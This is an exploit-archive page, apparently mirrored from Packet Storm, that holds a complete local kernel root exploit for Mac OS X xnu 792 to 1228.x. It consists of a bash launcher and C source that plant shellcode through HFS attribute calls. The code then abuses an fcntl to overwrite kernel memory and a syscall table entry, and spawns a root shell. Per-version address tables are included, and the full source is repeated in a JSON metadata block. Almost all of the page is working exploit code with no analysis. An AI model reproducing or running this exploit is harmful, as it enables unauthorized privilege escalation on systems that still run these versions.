Search...

Mac OS X xnu Root Exploit

2009-03-23T00:00:00

ID PACKETSTORM:75905
Type packetstorm
Reporter mu-b
Modified 2009-03-23T00:00:00

Description

                                        
                                            `#!/bin/bash  
# * xnu-hfs-fcntl-v2.sh  
# *  
# * Copyright (c) 2008 by &lt;mu-b@digit-labs.org&gt;  
# *  
# * Apple MACOS X 792.0 &lt;= xnu &lt;= 1228.x local kernel root exploit  
# * by mu-b - Sat 14 June 2008  
# *  
# * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386)  
# * Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386)  
# * Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386)  
# * Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386)  
# * Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386)  
# * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)  
# * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)  
# * Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386)  
# * Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386)  
# * Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386)  
# * Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386)  
# *  
# * - Private Source Code -DO NOT DISTRIBUTE -  
# * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!  
# *  
  
IMAGE=xnu-hfs  
EXPFILE=xnu-hfs-fcntl-v2  
  
echo -en "Apple MACOS X xnu &lt;= 1228.x local kernel root exploit\n" \  
"by: &lt;mu-b@digit-labs.org&gt;\n" \  
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"  
  
if [ ! -f $EXPFILE ]; then  
echo -n "* compiling exploit..."  
gcc -Wall $EXPFILE.c -o $EXPFILE 2&gt; /dev/null  
if [ $? != 0 ]; then  
echo " failed"  
exit $?  
else  
echo " done"  
fi  
fi  
  
if [ ! -f $IMAGE.dmg ]; then  
echo -n "* creating diskimage..."  
hdiutil create -megabytes 1 -fs HFS+ -volname $IMAGE $IMAGE.dmg &gt; /dev/null  
if [ $? != 0 ]; then  
echo " failed"  
exit $?  
else  
echo " done"  
fi  
fi  
  
echo -n "* attaching/mounting diskimage..."  
hdiutil attach $IMAGE.dmg &gt; /dev/null  
if [ $? != 0 ]; then  
echo " failed"  
exit $?  
else  
echo " done"  
fi  
  
echo -e "* executing exploit...\n"  
./$EXPFILE /Volumes/$IMAGE  
  
echo -n "* detaching/unmounting diskimage..."  
hdiutil detach /Volumes/$IMAGE &gt; /dev/null  
if [ $? != 0 ]; then  
echo " failed"  
exit $?  
else  
echo " done"  
fi  
  
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
  
/* xnu-hfs-fcntl-v2.c  
*  
* Copyright (c) 2008 by &lt;mu-b@digit-labs.org&gt;  
*  
* Apple MACOS X 792.0 &lt;= xnu &lt;= 1228.x local kernel root exploit  
* by mu-b - Sat 14 June 2008  
*  
* - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386)  
* Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386)  
* Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386)  
* Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386)  
* Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386)  
* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)  
* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)  
* Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386)  
* Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386)  
* Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386)  
* Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386)  
*  
* - Private Source Code -DO NOT DISTRIBUTE -  
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!  
*/  
  
#include &lt;stdio.h&gt;  
#include &lt;stdlib.h&gt;  
  
#include &lt;errno.h&gt;  
#include &lt;fcntl.h&gt;  
#include &lt;string.h&gt;  
#include &lt;sys/attr.h&gt;  
#include &lt;sys/syscall.h&gt;  
#include &lt;sys/utsname.h&gt;  
#include &lt;unistd.h&gt;  
  
#define OSX_TIGER 0x04  
#define OSX_LEOPARD 0x05  
  
#define HFS_GET_BOOT_INFO 0x00010004  
#define SYSCALL_NUM 21  
#define TIGER_HIT_ADDY(a) ((a)+0x20+((sizeof (struct sysent)-sizeof (int))*SYSCALL_NUM))  
#define LEOPARD_HIT_ADDY(a) ((a)+0x20+(sizeof (struct sysent)*SYSCALL_NUM))  
  
/* 1228.x, bsd/sys/sysent.h */  
struct sysent {  
short sy_narg;  
char sy_resv;  
char sy_flags;  
void *sy_call;  
void *sy_arg_munge32;  
void *sy_arg_munge64;  
int sy_return_type;  
short sy_arg_bytes;  
};  
  
static unsigned char ztiger[] =  
"\x55"  
"\x89\xe5"  
"\x8b\x45\x08"  
"\x8b\x40\x08"  
"\xc7\x40\x10\x00\x00\x00\x00"  
"\x31\xc0"  
"\xc9"  
"\xc3";  
  
static unsigned char zleopard[] =  
"\x55"  
"\x89\xe5"  
"\x8b\x45\x08"  
"\x8b\x40\x64"  
"\xc7\x40\x10\x00\x00\x00\x00"  
"\x31\xc0"  
"\xc9"  
"\xc3";  
  
static struct targets {  
const char *name;  
int shell_addr; /* &copyright */  
int sys_addr; /* &nsysent */  
const int type;  
} targets_t[] = {  
/* tiger */  
{ "root:xnu-792.14.14.obj~1/RELEASE_I386", 0x004518ac, 0x00451920, OSX_TIGER },  
{ "root:xnu-792.18.15~1/RELEASE_I386", 0x004528ec, 0x00452960, OSX_TIGER },  
{ "root:xnu-792.22.5~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER },  
{ "root:xnu-792.25.20~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER },  
/* leopard */  
{ "root:xnu-1228~1/RELEASE_I386", 0x0050170c, 0x00501780, OSX_LEOPARD },  
{ "root:xnu-1228.0.2~1/RELEASE_I386", 0x0050270c, 0x00502780, OSX_LEOPARD },  
{ "root:xnu-1228.3.13~1/RELEASE_I386", 0x0050470c, 0x00504780, OSX_LEOPARD },  
{ "root:xnu-1228.5.18~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },  
{ "root:xnu-1228.5.20~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },  
{ "root:xnu-1228.7.58~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD },  
{ "root:xnu-1228.9.59~1/RELEASE_I386", 0x0050A70c, 0x0050A780, OSX_LEOPARD },  
{ NULL, 0, 0, 0 },  
};  
  
int  
main (int argc, char **argv)  
{  
struct utsname p_uname;  
struct sysent fsysent;  
struct attrlist attr;  
char buf_attr[2048], *ptr;  
int shell_addr, sys_addr, sysent_addr;  
int fd, id, i, n, type;  
  
printf ("Apple MACOS X xnu &lt;= 1228.x local kernel root exploit\n"  
"by: &lt;mu-b@digit-labs.org&gt;\n"  
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");  
  
if (argc &lt; 2)  
{  
fprintf (stderr, "Usage: %s &lt;hfs volume&gt;\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
  
shell_addr = 0;  
sys_addr = 0;  
type = 0;  
uname (&p_uname);  
  
ptr = strrchr (p_uname.version, ' ') + 1;  
for (i = 0; targets_t[i].name; i++)  
if (strcmp (targets_t[i].name, ptr) == 0)  
{  
shell_addr = targets_t[i].shell_addr;  
sys_addr = targets_t[i].sys_addr;  
type = targets_t[i].type;  
break;  
}  
  
if (targets_t[i].name == NULL)  
{  
fprintf (stderr, "%s: unsupported xnu version found :( [%s]\n",  
argv[0], ptr);  
exit (EXIT_FAILURE);  
}  
  
printf ("* getattrlist...");  
fflush (stdout);  
  
attr.bitmapcount = ATTR_BIT_MAP_COUNT;  
attr.commonattr = ATTR_CMN_FNDRINFO;  
attr.volattr = 0;  
attr.dirattr = 0;  
attr.fileattr = 0;  
attr.forkattr = 0;  
n = getattrlist (argv[1], &attr, (void *) buf_attr, sizeof (buf_attr), 0);  
if (n &lt; 0)  
{  
fprintf (stderr, "\n%s: getattrlist failed\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
printf ("done\n");  
  
printf ("** attrlist length: %d\n", *(int *) &buf_attr[0]);  
printf ("** fndrinfo: ");  
for (i = 4; i &lt; *(int *) &buf_attr[0]; i++)  
printf ("%c", buf_attr[i]);  
printf ("\n* done\n\n");  
  
if (type == OSX_TIGER)  
memcpy (&buf_attr[4], ztiger, sizeof (ztiger) - 1);  
else if (type == OSX_LEOPARD)  
memcpy (&buf_attr[4], zleopard, sizeof (zleopard) - 1);  
else  
{  
fprintf (stderr, "\n%s: unknown type!\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
  
printf ("* setattrlist...");  
fflush (stdout);  
  
attr.bitmapcount = ATTR_BIT_MAP_COUNT;  
attr.commonattr = ATTR_CMN_FNDRINFO;  
attr.volattr = ATTR_VOL_INFO;  
attr.dirattr = 0;  
attr.fileattr = 0;  
attr.forkattr = 0;  
n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0);  
if (n &lt; 0)  
{  
fprintf (stderr, "\n%s: setattrlist failed\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
printf ("done\n");  
sleep (2);  
  
fd = open (argv[1], O_RDONLY);  
if (fd &lt; 0)  
{  
fprintf (stderr, "%s: open failed\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
  
printf ("* overwriting @0x%08X\n", shell_addr);  
fflush (stdout);  
  
n = fcntl (fd, HFS_GET_BOOT_INFO, shell_addr);  
if (n &lt; 0)  
{  
fprintf (stderr, "%s: fcntl failed\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
printf ("* done\n\n");  
  
fsysent.sy_narg = 1;  
fsysent.sy_resv = 0;  
fsysent.sy_flags = 0;  
fsysent.sy_call = (void *) shell_addr;  
fsysent.sy_arg_munge32 = NULL;  
fsysent.sy_arg_munge64 = NULL;  
fsysent.sy_return_type = 0;  
fsysent.sy_arg_bytes = 4;  
memcpy (&buf_attr[4], &fsysent, sizeof (struct sysent));  
  
printf ("* setattrlist...");  
fflush (stdout);  
  
attr.bitmapcount = ATTR_BIT_MAP_COUNT;  
attr.commonattr = ATTR_CMN_FNDRINFO;  
attr.volattr = ATTR_VOL_INFO;  
attr.dirattr = 0;  
attr.fileattr = 0;  
attr.forkattr = 0;  
n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0);  
if (n &lt; 0)  
{  
fprintf (stderr, "\n%s: setattrlist failed\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
printf ("done\n");  
sleep (2);  
  
if (type == OSX_TIGER)  
sysent_addr = TIGER_HIT_ADDY(sys_addr);  
else if (type == OSX_LEOPARD)  
sysent_addr = LEOPARD_HIT_ADDY(sys_addr);  
else  
{  
fprintf (stderr, "\n%s: unknown type!\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
  
printf ("* overwriting @0x%08X\n", sysent_addr);  
printf ("** sysent[%d].sy_call: 0x%08X\n", SYSCALL_NUM, shell_addr);  
fflush (stdout);  
  
n = fcntl (fd, HFS_GET_BOOT_INFO, sysent_addr);  
if (n &lt; 0)  
{  
fprintf (stderr, "%s: fcntl failed\n", argv[0]);  
exit (EXIT_FAILURE);  
}  
printf ("* done\n\n");  
  
printf ("* jumping...");  
sleep (2);  
  
n = syscall (SYSCALL_NUM, NULL);  
printf ("done\n\n");  
  
id = getuid ();  
printf ("* getuid(): %d\n", id);  
if (id == 0)  
{  
printf ("+Wh00t\n\n");  
  
/* exec shell, for some reason execve doesn't work!?$! */  
system ("/bin/bash");  
}  
else  
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);  
  
return (EXIT_SUCCESS);  
}  
  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:75905", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Mac OS X xnu Root Exploit", "description": "", "published": "2009-03-23T00:00:00", "modified": "2009-03-23T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/75905/Mac-OS-X-xnu-Root-Exploit.html", "reporter": "mu-b", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:26:39", "viewCount": 1, "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2016-11-03T10:26:39", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:26:39", "rev": 2}, "vulnersScore": 0.2}, "sourceHref": "https://packetstormsecurity.com/files/download/75905/xnu-hfs-fcntl-v2.txt", "sourceData": "`#!/bin/bash \n# * xnu-hfs-fcntl-v2.sh \n# * \n# * Copyright (c) 2008 by <mu-b@digit-labs.org> \n# * \n# * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit \n# * by mu-b - Sat 14 June 2008 \n# * \n# * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386) \n# * Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386) \n# * Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386) \n# * Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386) \n# * Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386) \n# * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) \n# * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) \n# * Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386) \n# * Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386) \n# * Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386) \n# * Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386) \n# * \n# * - Private Source Code -DO NOT DISTRIBUTE - \n# * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! \n# * \n \nIMAGE=xnu-hfs \nEXPFILE=xnu-hfs-fcntl-v2 \n \necho -en \"Apple MACOS X xnu <= 1228.x local kernel root exploit\\n\" \\ \n\"by: <mu-b@digit-labs.org>\\n\" \\ \n\"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\\n\\n\" \n \nif [ ! -f $EXPFILE ]; then \necho -n \"* compiling exploit...\" \ngcc -Wall $EXPFILE.c -o $EXPFILE 2> /dev/null \nif [ $? != 0 ]; then \necho \" failed\" \nexit $? \nelse \necho \" done\" \nfi \nfi \n \nif [ ! -f $IMAGE.dmg ]; then \necho -n \"* creating diskimage...\" \nhdiutil create -megabytes 1 -fs HFS+ -volname $IMAGE $IMAGE.dmg > /dev/null \nif [ $? != 0 ]; then \necho \" failed\" \nexit $? \nelse \necho \" done\" \nfi \nfi \n \necho -n \"* attaching/mounting diskimage...\" \nhdiutil attach $IMAGE.dmg > /dev/null \nif [ $? != 0 ]; then \necho \" failed\" \nexit $? \nelse \necho \" done\" \nfi \n \necho -e \"* executing exploit...\\n\" \n./$EXPFILE /Volumes/$IMAGE \n \necho -n \"* detaching/unmounting diskimage...\" \nhdiutil detach /Volumes/$IMAGE > /dev/null \nif [ $? != 0 ]; then \necho \" failed\" \nexit $? \nelse \necho \" done\" \nfi \n \n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// \n \n/* xnu-hfs-fcntl-v2.c \n* \n* Copyright (c) 2008 by <mu-b@digit-labs.org> \n* \n* Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit \n* by mu-b - Sat 14 June 2008 \n* \n* - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386) \n* Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386) \n* Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386) \n* Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386) \n* Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386) \n* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) \n* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) \n* Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386) \n* Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386) \n* Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386) \n* Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386) \n* \n* - Private Source Code -DO NOT DISTRIBUTE - \n* http://www.digit-labs.org/ -- Digit-Labs 2008!@$! \n*/ \n \n#include <stdio.h> \n#include <stdlib.h> \n \n#include <errno.h> \n#include <fcntl.h> \n#include <string.h> \n#include <sys/attr.h> \n#include <sys/syscall.h> \n#include <sys/utsname.h> \n#include <unistd.h> \n \n#define OSX_TIGER 0x04 \n#define OSX_LEOPARD 0x05 \n \n#define HFS_GET_BOOT_INFO 0x00010004 \n#define SYSCALL_NUM 21 \n#define TIGER_HIT_ADDY(a) ((a)+0x20+((sizeof (struct sysent)-sizeof (int))*SYSCALL_NUM)) \n#define LEOPARD_HIT_ADDY(a) ((a)+0x20+(sizeof (struct sysent)*SYSCALL_NUM)) \n \n/* 1228.x, bsd/sys/sysent.h */ \nstruct sysent { \nshort sy_narg; \nchar sy_resv; \nchar sy_flags; \nvoid *sy_call; \nvoid *sy_arg_munge32; \nvoid *sy_arg_munge64; \nint sy_return_type; \nshort sy_arg_bytes; \n}; \n \nstatic unsigned char ztiger[] = \n\"\\x55\" \n\"\\x89\\xe5\" \n\"\\x8b\\x45\\x08\" \n\"\\x8b\\x40\\x08\" \n\"\\xc7\\x40\\x10\\x00\\x00\\x00\\x00\" \n\"\\x31\\xc0\" \n\"\\xc9\" \n\"\\xc3\"; \n \nstatic unsigned char zleopard[] = \n\"\\x55\" \n\"\\x89\\xe5\" \n\"\\x8b\\x45\\x08\" \n\"\\x8b\\x40\\x64\" \n\"\\xc7\\x40\\x10\\x00\\x00\\x00\\x00\" \n\"\\x31\\xc0\" \n\"\\xc9\" \n\"\\xc3\"; \n \nstatic struct targets { \nconst char *name; \nint shell_addr; /* &copyright */ \nint sys_addr; /* &nsysent */ \nconst int type; \n} targets_t[] = { \n/* tiger */ \n{ \"root:xnu-792.14.14.obj~1/RELEASE_I386\", 0x004518ac, 0x00451920, OSX_TIGER }, \n{ \"root:xnu-792.18.15~1/RELEASE_I386\", 0x004528ec, 0x00452960, OSX_TIGER }, \n{ \"root:xnu-792.22.5~1/RELEASE_I386\", 0x004548ec, 0x00454960, OSX_TIGER }, \n{ \"root:xnu-792.25.20~1/RELEASE_I386\", 0x004548ec, 0x00454960, OSX_TIGER }, \n/* leopard */ \n{ \"root:xnu-1228~1/RELEASE_I386\", 0x0050170c, 0x00501780, OSX_LEOPARD }, \n{ \"root:xnu-1228.0.2~1/RELEASE_I386\", 0x0050270c, 0x00502780, OSX_LEOPARD }, \n{ \"root:xnu-1228.3.13~1/RELEASE_I386\", 0x0050470c, 0x00504780, OSX_LEOPARD }, \n{ \"root:xnu-1228.5.18~1/RELEASE_I386\", 0x0050770c, 0x00507780, OSX_LEOPARD }, \n{ \"root:xnu-1228.5.20~1/RELEASE_I386\", 0x0050770c, 0x00507780, OSX_LEOPARD }, \n{ \"root:xnu-1228.7.58~1/RELEASE_I386\", 0x0050770c, 0x00507780, OSX_LEOPARD }, \n{ \"root:xnu-1228.9.59~1/RELEASE_I386\", 0x0050A70c, 0x0050A780, OSX_LEOPARD }, \n{ NULL, 0, 0, 0 }, \n}; \n \nint \nmain (int argc, char **argv) \n{ \nstruct utsname p_uname; \nstruct sysent fsysent; \nstruct attrlist attr; \nchar buf_attr[2048], *ptr; \nint shell_addr, sys_addr, sysent_addr; \nint fd, id, i, n, type; \n \nprintf (\"Apple MACOS X xnu <= 1228.x local kernel root exploit\\n\" \n\"by: <mu-b@digit-labs.org>\\n\" \n\"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\\n\\n\"); \n \nif (argc < 2) \n{ \nfprintf (stderr, \"Usage: %s <hfs volume>\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \n \nshell_addr = 0; \nsys_addr = 0; \ntype = 0; \nuname (&p_uname); \n \nptr = strrchr (p_uname.version, ' ') + 1; \nfor (i = 0; targets_t[i].name; i++) \nif (strcmp (targets_t[i].name, ptr) == 0) \n{ \nshell_addr = targets_t[i].shell_addr; \nsys_addr = targets_t[i].sys_addr; \ntype = targets_t[i].type; \nbreak; \n} \n \nif (targets_t[i].name == NULL) \n{ \nfprintf (stderr, \"%s: unsupported xnu version found :( [%s]\\n\", \nargv[0], ptr); \nexit (EXIT_FAILURE); \n} \n \nprintf (\"* getattrlist...\"); \nfflush (stdout); \n \nattr.bitmapcount = ATTR_BIT_MAP_COUNT; \nattr.commonattr = ATTR_CMN_FNDRINFO; \nattr.volattr = 0; \nattr.dirattr = 0; \nattr.fileattr = 0; \nattr.forkattr = 0; \nn = getattrlist (argv[1], &attr, (void *) buf_attr, sizeof (buf_attr), 0); \nif (n < 0) \n{ \nfprintf (stderr, \"\\n%s: getattrlist failed\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \nprintf (\"done\\n\"); \n \nprintf (\"** attrlist length: %d\\n\", *(int *) &buf_attr[0]); \nprintf (\"** fndrinfo: \"); \nfor (i = 4; i < *(int *) &buf_attr[0]; i++) \nprintf (\"%c\", buf_attr[i]); \nprintf (\"\\n* done\\n\\n\"); \n \nif (type == OSX_TIGER) \nmemcpy (&buf_attr[4], ztiger, sizeof (ztiger) - 1); \nelse if (type == OSX_LEOPARD) \nmemcpy (&buf_attr[4], zleopard, sizeof (zleopard) - 1); \nelse \n{ \nfprintf (stderr, \"\\n%s: unknown type!\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \n \nprintf (\"* setattrlist...\"); \nfflush (stdout); \n \nattr.bitmapcount = ATTR_BIT_MAP_COUNT; \nattr.commonattr = ATTR_CMN_FNDRINFO; \nattr.volattr = ATTR_VOL_INFO; \nattr.dirattr = 0; \nattr.fileattr = 0; \nattr.forkattr = 0; \nn = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0); \nif (n < 0) \n{ \nfprintf (stderr, \"\\n%s: setattrlist failed\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \nprintf (\"done\\n\"); \nsleep (2); \n \nfd = open (argv[1], O_RDONLY); \nif (fd < 0) \n{ \nfprintf (stderr, \"%s: open failed\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \n \nprintf (\"* overwriting @0x%08X\\n\", shell_addr); \nfflush (stdout); \n \nn = fcntl (fd, HFS_GET_BOOT_INFO, shell_addr); \nif (n < 0) \n{ \nfprintf (stderr, \"%s: fcntl failed\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \nprintf (\"* done\\n\\n\"); \n \nfsysent.sy_narg = 1; \nfsysent.sy_resv = 0; \nfsysent.sy_flags = 0; \nfsysent.sy_call = (void *) shell_addr; \nfsysent.sy_arg_munge32 = NULL; \nfsysent.sy_arg_munge64 = NULL; \nfsysent.sy_return_type = 0; \nfsysent.sy_arg_bytes = 4; \nmemcpy (&buf_attr[4], &fsysent, sizeof (struct sysent)); \n \nprintf (\"* setattrlist...\"); \nfflush (stdout); \n \nattr.bitmapcount = ATTR_BIT_MAP_COUNT; \nattr.commonattr = ATTR_CMN_FNDRINFO; \nattr.volattr = ATTR_VOL_INFO; \nattr.dirattr = 0; \nattr.fileattr = 0; \nattr.forkattr = 0; \nn = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0); \nif (n < 0) \n{ \nfprintf (stderr, \"\\n%s: setattrlist failed\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \nprintf (\"done\\n\"); \nsleep (2); \n \nif (type == OSX_TIGER) \nsysent_addr = TIGER_HIT_ADDY(sys_addr); \nelse if (type == OSX_LEOPARD) \nsysent_addr = LEOPARD_HIT_ADDY(sys_addr); \nelse \n{ \nfprintf (stderr, \"\\n%s: unknown type!\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \n \nprintf (\"* overwriting @0x%08X\\n\", sysent_addr); \nprintf (\"** sysent[%d].sy_call: 0x%08X\\n\", SYSCALL_NUM, shell_addr); \nfflush (stdout); \n \nn = fcntl (fd, HFS_GET_BOOT_INFO, sysent_addr); \nif (n < 0) \n{ \nfprintf (stderr, \"%s: fcntl failed\\n\", argv[0]); \nexit (EXIT_FAILURE); \n} \nprintf (\"* done\\n\\n\"); \n \nprintf (\"* jumping...\"); \nsleep (2); \n \nn = syscall (SYSCALL_NUM, NULL); \nprintf (\"done\\n\\n\"); \n \nid = getuid (); \nprintf (\"* getuid(): %d\\n\", id); \nif (id == 0) \n{ \nprintf (\"+Wh00t\\n\\n\"); \n \n/* exec shell, for some reason execve doesn't work!?$! */ \nsystem (\"/bin/bash\"); \n} \nelse \nfprintf (stderr, \"%s: failed to obtain root :(\\n\", argv[0]); \n \nreturn (EXIT_SUCCESS); \n} \n \n \n`\n"}